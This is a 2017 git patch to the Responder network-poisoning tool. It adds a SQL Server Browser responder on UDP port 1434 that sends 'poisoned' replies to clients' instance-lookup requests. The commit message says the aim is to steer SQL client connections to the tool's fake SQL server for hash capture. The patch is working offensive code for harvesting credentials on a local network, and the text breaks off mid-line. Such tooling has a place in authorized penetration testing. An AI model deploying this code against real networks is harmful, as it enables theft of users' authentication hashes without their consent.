From bff935e71ea401a4477004022623b1617ac090b3 Mon Sep 17 00:00:00 2001 From: Matthew Daley Date: Fri, 23 Jun 2017 19:15:16 +1200 Subject: [PATCH] Add Microsoft SQL Server Browser responder When connecting to a named instance, a SQL client (at least SQL Server Native Client) will send a request (namely a CLNT_UCAST_INST message) to the server's SQL Server Browser service for instance connection information. If it gets no response, the connection attempt fails. By adding a SQL Server Browser responder for these requests, we ensure that connections are successfully made to the SQL Server responder for hash capture. As per the comment, this is based on the document "[MC-SQLR]: SQL Server Resolution Protocol", currently available at . --- Responder.py | 3 ++- servers/MSSQL.py | 30 ++++++++++++++++++++++++++++++ 2 files changed, 32 insertions(+), 1 deletion(-) diff --git a/Responder.py b/Responder.py index 9af8d86..ca3e5d7 100755 --- a/Responder.py +++ b/Responder.py @@ -268,8 +268,9 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,))) if settings.Config.SQL_On_Off: - from servers.MSSQL import MSSQL + from servers.MSSQL import MSSQL, MSSQLBrowser threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,))) + threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 1434, MSSQLBrowser,))) if settings.Config.FTP_On_Off: from servers.FTP import FTP diff --git a/servers/MSSQL.py b/servers/MSSQL.py index 3f196f3..1d53231 100644 --- a/servers/MSSQL.py +++ b/servers/MSSQL.py @@ -17,6 +17,7 @@ from SocketServer import BaseRequestHandler from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer from utils import * +import random import struct class TDS_Login_Packet: @@ -149,3 +150,32 @@ class MSSQL(BaseRequestHandler): except: self.request.close() pass + +# MSSQL Server Browser class +# See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx +class MSSQLBrowser(BaseRequestHandler): + def handle(self): + if settings.Config.Verbose: + print text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0]) + + data, soc = self.request + + if data: + if data[0] in "\x02\x03": # CLNT_BCAST_EX / CLNT_UCAST_EX + self.send_response(soc, "MSSQLSERVER") + elif data[0] == "\x04": # CLNT_UCAST_INST + self.send_response(soc, data[1:].rstrip("\x00")) + elif data[0] == "\x0F": # CLNT_UCAST_DAC + self.send_dac_response(soc) + + def send_response(self, soc, inst): + print text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0]) + + server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20))) + resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst) + soc.sendto(struct.pack("